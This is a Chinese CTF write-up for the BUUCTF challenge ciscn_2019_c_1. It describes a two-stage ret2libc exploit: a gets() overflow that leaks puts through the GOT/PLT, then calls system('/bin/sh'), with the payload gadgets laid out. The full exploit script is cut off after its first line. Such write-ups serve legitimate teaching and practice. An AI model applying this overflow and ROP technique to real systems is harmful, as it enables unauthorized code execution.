BUUCTF-PWN-ciscn_2019_c_1
BUUCTF-PWN-ciscn_2019_c_1
做这题的时候碰到了很多奇怪的事,在后面会有体现,如有大佬看到,望予以解答
checksec

IDA


这个程序大致是用来加密解密一段字符串的,但是很明显可以看到2.Decrypt是没有用的,那么来看看1.Encrypt的内容:

看到了gets函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到ret2libc
payload
第一次溢出
'\0'#用来绕过if ( v0 >= strlen(s) ),(strlen()在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)#与前面的'\0'一起,覆盖s的栈并溢出

p64(rdi_ret)

p64(puts_got)p64(puts_plt)# 利用puts函数的got表和plt表来泄露libc版本p64(main_addr)# 返回主函数再进行下一次溢出
第二次溢出
'\0'#用来绕过if ( v0 >= strlen(s) ),(strlen()在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)#与前面的'\0'一起,覆盖s的栈并溢出p64(ret)# ubuntu18(题目给出的环境)上有栈平衡,用ret来进行栈对齐p64(rdi_ret)p64(binsh)# /bin/sh地址p64(sys_addr)# system函数地址
EXP
1 | from pwn import * |
结果

一些问题的说明
做题期间参考了一些文章,他们都是使用LibcSearcher解的题,但是实际我遇到的情况与他们的文章是有不符的:
- 有好几篇文章的EXP都用了两行
p.recvline()来接受两个puts函数的输入,而我试过这样是根本打不通的,我在EXP中的方式如下:
1 | p.recvuntil('Ciphertext\n') |
- 还有别的解法是,不直接绕过
if ( v0 >= strlen(s) ),而是“将计就计”利用if下面的代码,读者可以自行百度 - 如结果中的图片所示,根据我们给出的puts函数的一些数据,LibcSeacher匹配到了9个版本的libc,然后需要自行选择尝试,而奇怪的是,没有一篇我能查到的题解提到了这一步,似乎大佬们都是跑完脚本就直接拿到shell的,这一点我不知道是什么原因
- 再说一下上面的9个libc版本,我仅仅试了amd64版本的几个,发现3号和4号可以打通,0号和5号不行(不排除偶然情况,或者是别的原因)
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Clerk.Max(well);!
评论







